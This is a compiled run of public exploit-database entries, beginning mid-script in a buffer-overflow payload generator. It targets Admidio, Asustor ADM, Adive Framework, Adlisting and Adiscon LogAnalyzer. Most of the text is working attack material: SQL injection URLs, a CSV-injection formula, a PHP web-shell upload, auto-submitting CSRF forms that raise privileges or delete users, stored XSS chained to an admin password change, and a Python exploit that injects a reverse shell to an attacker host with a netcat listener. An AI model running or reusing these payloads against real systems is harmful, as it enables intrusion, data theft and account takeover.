payload += "\x41" * 121 # NOP is in the restricted characters. Using \x41 as a slide into alignment
payload += restore
payload += alignment
payload += shellcode
payload += move
payload += "\x43" * (5000-len(payload))

f = open('pwn.txt', 'w')
f.write(payload)
f.close()
            
source: https://www.securityfocus.com/bid/50562/info

Admin Bot is prone to an SQL Injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation. 

http://www.example.com/news.php?wgo=666+and+1=2+union+all+select+0,1,BALTAZAR,3,4,5,6,7,8-- 
            
Exploit Title: admidio v4.2.5 - CSV Injection
Application: admidio
Version: 4.2.5
Bugs:  CSV Injection
Technology: PHP
Vendor URL: https://www.admidio.org/
Software Link: https://www.admidio.org/download.php
Date of found: 26.04.2023
Author: Mirabbas Ağalarov
Tested on: Windows


2. Technical Details & POC
========================================
Step 1. login as user
step 2. Go to My profile (edit profile) and set postal code  as =calc|a!z| and save (http://localhost/admidio/adm_program/modules/profile/profile_new.php?user_uuid=4b060d07-4e63-429c-a6b7-fc55325e92a2)
step 3. If admin Export users as CSV or excell file ,in The computer of admin  occurs csv injection and will open calculator (http://localhost/admidio/adm_program/modules/groups-roles/lists_show.php?rol_ids=2)

payload: =calc|a!z|

Poc video:  https://www.youtube.com/watch?v=iygwj1izSMQ
            
Exploit Title: Admidio v4.2.10 - Remote Code Execution (RCE)
Application: Admidio
Version: 4.2.10
Bugs:  RCE
Technology: PHP
Vendor URL: https://www.admidio.org/
Software Link: https://www.admidio.org/download.php
Date of found: 10.07.2023
Author: Mirabbas Ağalarov
Tested on: Linux


2. Technical Details & POC
========================================
Steps:

1. Login to account
2. Go to Announcements
3. Add Entry
4. Upload .phar file in image upload section.
.phar file Content
<?php echo system('cat /etc/passwd');?>
5. Visit .phar file  ( http://localhost/admidio/adm_my_files/announcements/images/20230710-172217_430o3e5ma5dnuvhp.phar )

Request:

POST /admidio/adm_program/system/ckeditor_upload_handler.php?CKEditor=ann_description&CKEditorFuncNum=1&langCode=en HTTP/1.1
Host: localhost
Content-Length: 378
Cache-Control: max-age=0
sec-ch-ua: 
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryne9TRuC1tAqhR86r
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: iframe
Referer: http://localhost/admidio/adm_program/modules/announcements/announcements_new.php?headline=Announcements
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: ADMIDIO_admidio_adm_cookieconsent_status=dismiss; ADMIDIO_admidio_adm_SESSION_ID=penqrouatvh0vmp8v2mdntrgdn; ckCsrfToken=o3th5RcghWxx2qar157Xx4Y1f7FQ42ayQ9TaV8MB
Connection: close

------WebKitFormBoundaryne9TRuC1tAqhR86r
Content-Disposition: form-data; name="upload"; filename="shell.phar"
Content-Type: application/octet-stream

<?php echo system('cat /etc/passwd');?>

------WebKitFormBoundaryne9TRuC1tAqhR86r
Content-Disposition: form-data; name="ckCsrfToken"

o3th5RcghWxx2qar157Xx4Y1f7FQ42ayQ9TaV8MB
------WebKitFormBoundaryne9TRuC1tAqhR86r--
            
# Exploit Title: Admidio 3.3.5 - Cross-Site Request Forgery (Change Permissions)
# Author: Nawaf Alkeraithe
# Date: 2018-09-01
# Vendor Homepage: https://www.admidio.org/
# Software Link: https://sourceforge.net/projects/admidio/files/Admidio/3.3.x/admidio-3.3.5.zip/download
# Version: 3.3.5
# Tested on: PHP
# CVE: N/A

# Description:
# Low Privilage users are able to increase their permissions due to improper origin checking
# by the vendor. 

<html>
<form enctype="application/x-www-form-urlencoded" method="POST" action="http://Target/adm_program/modules/roles/roles_function.php?rol_id=2&mode=2">
	<table>
		<tr><td>rol_name</td><td><input type="text" value="Member" name="rol_name"></td></tr>
		<tr><td>rol_description</td><td><input type="text" value="All+organization+members" name="rol_description"></td></tr>
		<tr><td>rol_cat_id</td><td><input type="text" value="4" name="rol_cat_id"></td></tr>
		<tr><td>rol_mail_this_role</td><td><input type="text" value="2" name="rol_mail_this_role"></td></tr>
		<tr><td>rol_this_list_view</td><td><input type="text" value="1" name="rol_this_list_view"></td></tr>
		<tr><td>rol_leader_rights</td><td><input type="text" value="3" name="rol_leader_rights"></td></tr>
		<tr><td>rol_lst_id</td><td><input type="text" value="0" name="rol_lst_id"></td></tr>
		<tr><td>rol_default_registration</td><td><input type="text" value="1" name="rol_default_registration"></td></tr>
		<tr><td>rol_max_members</td><td><input type="text" value="" name="rol_max_members"></td></tr>
		<tr><td>rol_cost</td><td><input type="text" value="" name="rol_cost"></td></tr>
		<tr><td>rol_cost_period</td><td><input type="text" value="" name="rol_cost_period"></td></tr>
		<tr><td>rol_assign_roles</td><td><input type="text" value="1" name="rol_assign_roles"></td></tr>
		<tr><td>rol_all_lists_view</td><td><input type="text" value="1" name="rol_all_lists_view"></td></tr>
		<tr><td>rol_approve_users</td><td><input type="text" value="1" name="rol_approve_users"></td></tr>
		<tr><td>rol_edit_user</td><td><input type="text" value="1" name="rol_edit_user"></td></tr>
		<tr><td>rol_mail_to_all</td><td><input type="text" value="1" name="rol_mail_to_all"></td></tr>
		<tr><td>rol_profile</td><td><input type="text" value="1" name="rol_profile"></td></tr>
		<tr><td>rol_announcements</td><td><input type="text" value="1" name="rol_announcements"></td></tr>
		<tr><td>rol_dates</td><td><input type="text" value="1" name="rol_dates"></td></tr>
		<tr><td>rol_photo</td><td><input type="text" value="1" name="rol_photo"></td></tr>
		<tr><td>rol_download</td><td><input type="text" value="1" name="rol_download"></td></tr>
		<tr><td>rol_guestbook</td><td><input type="text" value="1" name="rol_guestbook"></td></tr>
		<tr><td>rol_guestbook_comments</td><td><input type="text" value="1" name="rol_guestbook_comments"></td></tr>
		<tr><td>rol_weblinks</td><td><input type="text" value="1" name="rol_weblinks"></td></tr>
		<tr><td>rol_start_date</td><td><input type="text" value="" name="rol_start_date"></td></tr>
		<tr><td>rol_end_date</td><td><input type="text" value="" name="rol_end_date"></td></tr>
		<tr><td>rol_start_time</td><td><input type="text" value="" name="rol_start_time"></td></tr>
		<tr><td>rol_end_time</td><td><input type="text" value="" name="rol_end_time"></td></tr>
		<tr><td>rol_weekday</td><td><input type="text" value="" name="rol_weekday"></td></tr>
		<tr><td>rol_location</td><td><input type="text" value="" name="rol_location"></td></tr>
		<tr><td>btn_save</td><td><input type="text" value="" name="btn_save"></td></tr>
	</table>
<input type="submit">
</form>
</html>
            
# Exploit Title :Admidio 3.2.8 (CSRF to Delete Users)
# Date: 28/April/2017
# Exploit Author: Faiz Ahmed Zaidi Organization: Provensec LLC Website: 
http://provensec.com/
# Vendor Homepage: https://www.admidio.org/
# Software Link: https://www.admidio.org/download.php
# Version: 3.2.8
# Tested on: Windows 10 (Xampp)
# CVE : CVE-2017-8382


[Suggested description]
Admidio 3.2.8 has CSRF in 
adm_program/modules/members/members_function.php with
  an impact of deleting arbitrary user accounts.

  ------------------------------------------

  [Additional Information]
  Using this crafted html form we are able to delete any user with 
admin/user privilege.

  <html>
    <body onload="javascript:document.forms[0].submit()">
      <form 
action="http://localhost/newadmidio/admidio-3.2.8/adm_program/modules/members/members_function.php">
        <input type="hidden" name="usr&#95;id" value='9' />
        <input type="hidden" name="mode" value="3" />
        </form>
    </body>
  </html>

[Affected Component]
  http://localhost/newadmidio/admidio-3.2.8/adm_program/modules/members/members_function.php

  ------------------------------------------

  [Attack Type]
  Remote

  ------------------------------------------

  [Impact Escalation of Privileges]
  true

  ------------------------------------------

  [Attack Vectors]
  Steps:
  1.) If an user with admin privilege opens a crafted
  html/JPEG(Image),then both the admin and users with user privilege
  which are mentioned by the user id (as like shown below) in the
  crafted request are deleted.

   <input type="hidden" name="usr&#95;id" value='3' />

  2.) In admidio by default the userid starts from '0',
  '1' for system '2' for users, so an attacker
  can start from '2' upto 'n' users.

  3.)For deleting the user permanently we select 'mode=3'(as like shown
  below),then all admin/low privileged users are deleted.

   <input type="hidden" name="mode" value="3" />

  ------------------------------------------

  [Reference]
  https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)

Thanks
Faiz Ahmed Zaidi
            
# Title: Asustor ADM 3.1.2RHG1 - Remote Code Execution
# Author: Matthew Fulton & Kyle Lovett
# Date: 2018-07-01
# Vendor Homepage: https://www.asustor.com/
# Software Link: http://download.asustor.com/download/adm/X64_G3_3.1.2.RHG1.img
# Version: <= ADM 3.1.2RHG1
# Tested on: ASUSTOR AS6202T
# CVE : CVE-2018-11510
# References: 
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-11510

#!/usr/bin/python

"""
CVE-2018-11510: http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-11510
This exploit takes advantage an unauthenticated os command injection discovered by Kyle Lovette 
if exploitation occurs successfully, a root shell is granted 
Authors: matthew fulton and Kyle Lovett
Date: 27 May 2018
Background: Both Kyle and I found a number of vulnerabilities that we had independently reported
to Asustor that Asustor hasn't acknowledge nor apparenlty fixed. 
After a twitter communication Kyle was kind enough to share a few details
exploit created on MacOS system, python 2.7.10, may port to metasploit module soon
Vendor link: https://www.asustor.com

Matthews-MBP:remoteunauth matt$ python admex.py -t 192.168.1.82
exploit for an unauthenticated OS command injection vulnerability that effects
Asustor ADM 3.1.2.RHG1 and below, leads to complete compromise
authors: Matthew Fulton (@haqur) & Kyle Lovett (@SquirrelBuddha)
starting netcat listener on port 1234
/bin/sh: can't access tty; job control turned off
/volume0/usr/builtin/webman/portal/apis # uname -a;id
/bin/sh: can't access tty; job control turned off
/volume0/usr/builtin/webman/portal/apis # Linux AS6202T-961F 4.4.24 #1 SMP Mon Mar 26 02:57:14 CST 2018 x86_64 GNU/Linux
uid=0(root) gid=0(root) groups=0(root)
"""

import sys, threading, time, os, subprocess
import urllib2
import ssl
import argparse


class exploit(object):
	def __init__(self,interval=1):
		self.target = args.target
		self.rport = args.port
		self.lport = args.lport
		self.remote = args.remote
		self.interval = interval
		thread = threading.Thread(target=self.run, args=())
		thread.daemon = True
		thread.start()

	def run(self):
		#ignore ssl warnings
		ctx = ssl.create_default_context()
		ctx.check_hostname = False
		ctx.verify_mode = ssl.CERT_NONE 
		while True:
			try:
				turl="https://"+self.target+":"+self.rport+"/portal/apis/aggrecate_js.cgi?script=" \
				"launcher%22%26python%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket" \
				"(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%22"+self.remote+"%22%2C"+self.lport+"))" \
				"%3Bos.dup2(s.fileno()%2C0)%3B%20os.dup2(s.fileno()%2C1)%3B%20os.dup2(s.fileno()%2C2)%3Bp%3D" \
				"subprocess.call(%5B%22%2Fbin%2Fsh%22%2C%22-i%22%5D)%3B%27%22"
				response=urllib2.urlopen(turl,context=ctx)
				time.sleep(self.interval)
			except urllib2.URLError as e:
				print "Something is wrong:|"
				print e
				os._exit(1)

def revShell():
	print "starting netcat listener on port "+args.lport
	cmd = "nc -lv {0}".format(args.lport)
	os.system(cmd)

def main():
	print """exploit for an unauthenticated OS command injection vulnerability that effects 
Asustor ADM 3.1.2.RHG1 and below, leads to complete compromise
authors: Matthew Fulton (@haqur) & Kyle Lovett (@SquirrelBuddha)"""
	goexploit = exploit()
	revShell()

if __name__ == '__main__':
	Help = """exploitation of a OS command injection bug that effects Asustor ADM, leads to complete compromise
	authors: Matthew Fulton (@haqur) & Kyle Lovett (@SquirrelBuddha)"""
	parser=argparse.ArgumentParser(description=help)
	parser.add_argument('--target', '-t', default="192.168.1.82", help="Target IP", required=True)
	parser.add_argument('--port', '-p', default="8001")
	parser.add_argument('--lport', '-l', default="1234")
	parser.add_argument('--remote','-r', default="192.168.1.253")
	args = parser.parse_args()
	main()
            
# Exploit Title: Adlisting Classified Ads 2.14.0 - WebPage Content Information Disclosure
# Exploit Author: CraCkEr
# Date: 25/07/2023
# Vendor: Templatecookie
# Vendor Homepage: https://templatecookie.com/
# Software Link: https://templatecookie.com/demo/adlisting-classified-ads-script
# Version: 2.14.0
# Tested on: Windows 10 Pro
# Impact: Sensitive Information Leakage
# CVE: CVE-2023-4168


## Description

Information disclosure issue in the redirect responses, When accessing any page on the website,
Sensitive data, such as API keys, server keys, and app IDs, is being exposed in the body of these redirects.


## Steps to Reproduce:

When you visit any page on the website, like:

https://website/ad-list?category=electronics
https://website/ad-list-search?page=2
https://website/ad-list-search?keyword=&lat=&long=&long=&lat=&location=&category=&keyword=

in the body page response there's information leakage for

+---------------------+
google_map_key
api_key
auth_domain
project_id
storage_bucket
messaging_sender_id
app_id
measurement_id
+---------------------+


Note: The same information leaked, such as the API keys, server keys, and app ID, was added to the "Firebase Push Notification Configuration" in the Administration Panel.

Settings of "Firebase Push Notification Configuration" in the Administration Panel, on this Path:

https://website/push-notification (Login as Administrator)



[-] Done
            
# Exploit Title:  Adive Framework 2.0.8 - Persistent Cross-Site Scripting
# Exploit Author: Sarthak Saini
# Dork: N/A
# Date: 2020-01-18
# Vendor Link : https://www.adive.es/
# Software Link: https://github.com/ferdinandmartin/adive-php7
# Version: 2.0.8
# Category: Webapps
# Tested on: windows64bit / mozila firefox 

1) Persistent Cross-site Scripting at user add page 

Description : The parameter 'userUsername=' is vulnerable to Stored Cross-site scripting
 
Payload:- <script>alert(1)</script>

POST /admin/user/add HTTP/1.1
Host: 192.168.2.5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Origin: http://192.168.2.5
DNT: 1
Connection: close
Referer: http://192.168.2.5/admin/user/add
Cookie: PHPSESSID=3rglrbjn0372tf97voajlfb1j4
Upgrade-Insecure-Requests: 1

userName=test&userUsername=<script>alert('xss')</script>&pass=test&cpass=test&permission=3


|----------------------------------------------------------------------------------


2) account takeover - cross side request forgery 


Description : attacker can craft a malicious javascript and attach it to the stored xss, when admin visits the /admin/user page the payload will trigger.

-> Save the payload as exp.js

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==--==-
function execute()
{
  var nuri ="http://192.168.2.5/admin/config";
  xhttp = new XMLHttpRequest();
  xhttp.open("POST", nuri, true);
  xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  xhttp.withCredentials = "true";
  var body = "";
  body += "\r\n\r\n";
  body += 
	"userName=Administrator&confPermissions=1&pass=hacked@123&cpass=hacked@123&invokeType=web";
  xhttp.send(body);
  return true;
}

execute();
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==--==-

-> Start a server and host the exp.js. Send the exp.js file in the xss payload

Payload:- <script src="http://192.168.2.5/exp.js"></script>

POST /admin/user/add HTTP/1.1
Host: 192.168.2.5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 143
Origin: http://192.168.2.5
DNT: 1
Connection: close
Referer: http://192.168.2.5/admin/user/add
Cookie: PHPSESSID=3rglrbjn0372tf97voajlfb1j4
Upgrade-Insecure-Requests: 1

userName=%3Cscript+src%3D%22http%3A%2F%2F192.168.2.5%2Fexp.js%22%3E%3C%2Fscript%3E&userUsername=test&pass=test&cpass=test&permission=3


-> As soon as admin will visit the page the payload will be triggered and the admin password will be changed to hacked@123

|-----------------------------------------EOF-----------------------------------------
            
# Exploit Title:  Adive Framework 2.0.8 - Cross-Site Request Forgery (Change Admin Password)
# Exploit Author: Sarthak Saini
# Date: 2020-01-18
# Vendor Link : https://www.adive.es/
# Software Link: https://github.com/ferdinandmartin/adive-php7
# Version: 2.0.8
# CVE:CVE-2020-7991
# Category: Webapps
# Tested on: windows64bit / mozila firefox 
# 
#
|--!>

|----------------------------------------------------------------------------------

1) Persistent Cross-site Scripting at user add page 

Description : The parameter 'userUsername=' is vulnerable to Stored Cross-site scripting
 
Payload:- <script>alert(1)</script>

POST /admin/user/add HTTP/1.1
Host: 192.168.2.5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Origin: http://192.168.2.5
DNT: 1
Connection: close
Referer: http://192.168.2.5/admin/user/add
Cookie: PHPSESSID=3rglrbjn0372tf97voajlfb1j4
Upgrade-Insecure-Requests: 1

userName=test&userUsername=<script>alert('xss')</script>&pass=test&cpass=test&permission=3


|----------------------------------------------------------------------------------


2) account takeover - cross side request forgery (Change Admin Password)


Description : attacker can craft a malicious javascript and attach it to the stored xss, when admin visits the /admin/user page the payload will trigger.

-> Save the payload as exp.js

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==--==-
function execute()
{
  var nuri ="http://192.168.2.5/admin/config";
  xhttp = new XMLHttpRequest();
  xhttp.open("POST", nuri, true);
  xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  xhttp.withCredentials = "true";
  var body = "";
  body += "\r\n\r\n";
  body += 
	"userName=Administrator&confPermissions=1&pass=hacked@123&cpass=hacked@123&invokeType=web";
  xhttp.send(body);
  return true;
}

execute();
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==--==-

-> Start a server and host the exp.js. Send the exp.js file in the xss payload

Payload:- <script src="http://192.168.2.5/exp.js"></script>

POST /admin/user/add HTTP/1.1
Host: 192.168.2.5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 143
Origin: http://192.168.2.5
DNT: 1
Connection: close
Referer: http://192.168.2.5/admin/user/add
Cookie: PHPSESSID=3rglrbjn0372tf97voajlfb1j4
Upgrade-Insecure-Requests: 1

userName=%3Cscript+src%3D%22http%3A%2F%2F192.168.2.5%2Fexp.js%22%3E%3C%2Fscript%3E&userUsername=test&pass=test&cpass=test&permission=3


-> As soon as admin will visit the page the payload will be triggered and the admin password will be changed to hacked@123

|-----------------------------------------EOF-----------------------------------------
            
# Exploit Title: Adive Framework 2.0.7 - Privilege Escalation
# Date: 2019-08-02
# Exploit Author: Pablo Santiago
# Vendor Homepage: https://www.adive.es/
# Software Link: https://github.com/ferdinandmartin/adive-php7
# Version: 2.0.7
# Tested on: Windows 10
# CVE : CVE-2019-14347

#Exploit

import requests
import sys

session = requests.Session()

http_proxy  = "http://127.0.0.1:8080"
https_proxy = "https://127.0.0.1:8080"

proxyDict = {
             "http"  : http_proxy,
             "https" : https_proxy
           }
print('[*****************************************]')
print('[ BYPASSING Adive Framework Version.2.0.5 ]')
print('[*****************************************]''\n')



print('[+]Login with the correct credentials:' '\n')

user = input('[+]user:')
password = input('[+]password:')
print('\n')

url = 'http://localhost/adive/admin/login'
values = {'user': user,
          'password': password,
          }

r = session.post(url, data=values, proxies=proxyDict)
cookie = session.cookies.get_dict()['PHPSESSID']

print('Your session cookie is:'+ cookie +'\n')


host = sys.argv[1]
print('Create the new user:')
userName = input('[+]User:')
userUsername = input('[+]UserName:')
password = input('[+]Password:')
password2 = input('[+]Confirm Password:')
print('The possibles permission are: 1: Administrator, 2: Developer, 3:Editor')
permission = input('[+]permission:')

if (password == password2):
#configure proxy burp

#hacer el request para la creacion de usuario
data = {
'userName':userName,
'userUsername':userUsername,
'pass':password,
'cpass':password2,
'permission':permission,

}

headers= {
'Cookie': 'PHPSESSID='+cookie
}

request = session.post(host+'/adive/admin/user/add', data=data,
headers=headers, proxies=proxyDict)
print('+--------------------------------------------------+')

else:
print ('Passwords dont match!!!')

#PoC
https://imgur.com/dUgLYi6
https://hackpuntes.com/wp-content/uploads/2019/08/ex.gif
            
# Exploit Title: Adive Framework 2.0.7 – Cross-Site Request Forgery (CSRF)
# Date:02/08/2019.
# Exploit Author: Pablo Santiago
# Vendor Homepage: https://adive.es
# Software Link: https://github.com/ferdinandmartin/adive-php7
# Version: 2.0.7
# Tested on: Windows and Kali linux
# CVE :2019-14346

# 1. Technical Description:
# Adive Framework 2.0.7 and possibly before are affected by Cross-Site
#Request Forgery vulnerability, an attacker could change any user
password.

# 2. Proof Of Concept (CODE):

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/adive/admin/config" method="POST">
      <input type="hidden" name="userName" value="admin" />
      <input type="hidden" name="confPermissions" value="1" />
      <input type="hidden" name="pass" value="1234" />
      <input type="hidden" name="cpass" value="1234" />
      <input type="hidden" name="invokeType" value="web" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

# 3. References:
# https://hackpuntes.com/cve-2019-14346-adive-framework-2-0-7-cross-site-request-forgery/
# https://imgur.com/apuZa9q
            
# Exploit Title: Adiscon LogAnalyzer v.4.1.13 - Cross Site Scripting
# Date: 2023.Aug.01
# Exploit Author: Pedro (ISSDU TW)
# Vendor Homepage: https://loganalyzer.adiscon.com/
# Software Link: https://loganalyzer.adiscon.com/download/
# Version: v4.1.13 and before
# Tested on: Linux
# CVE : CVE-2023-36306

There are several installation method.
If you installed without database(File-Based),No need to login.
If you installed with database, You should login with Read Only User(at least)

XSS Payloads are as below:

XSS
http://[ip address]/loganalyzer/asktheoracle.php?type=domain&query=&uid=%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E
http://[ip address]/loganalyzer/chartgenerator.php?type=2&byfield=syslogseverity&width=400&%%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E=123
http://[ip address]/loganalyzer/details.php/%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E
http://[ip address]/loganalyzer/index.php/%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E
http://[ip address]/loganalyzer/search.php/%22%3E%3Cscript%3Ealert('xss')%3C/script%3E
http://[ip address]/loganalyzer/export.php/%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E
http://[ip address]/loganalyzer/reports.php/%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E
http://[ip address]/loganalyzer/statistics.php/%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E
            
# Exploit Title: Adiscon LogAnalyzer 4.1.7 - Cross-Site Scripting
# Date: 2018-12-05
# Software Link: *httpås://loganalyzer.adiscon.com/
# <https://loganalyzer.adiscon.com/> https://github.com/rsyslog/loganalyzer
# <https://github.com/rsyslog/loganalyzer>*
# Exploit Author: Gustavo Sorondo
# Contact: http://twitter.com/iampuky
# Website: http://cintainfinita.com/
# CVE: CVE-2018-19877
# Category: webapps

# 1. Description
# Adiscon LogAnalyzer  before 4.1.7 is affected by Cross-Site Scripting (XSS)
# in the 'referer' parameter of the login.php file.

# 2. Proof of Concept

http://my.loganalyzer.instance/login.php?referer=%22%3E%3Cscript%3Ealert('Cinta%20Infinita')%3C/script%3E

# 3. Solution:
# Update to version 4.1.7.
# https://loganalyzer.adiscon.com/news/loganalyzer-v4-1-7-v4-stable-released/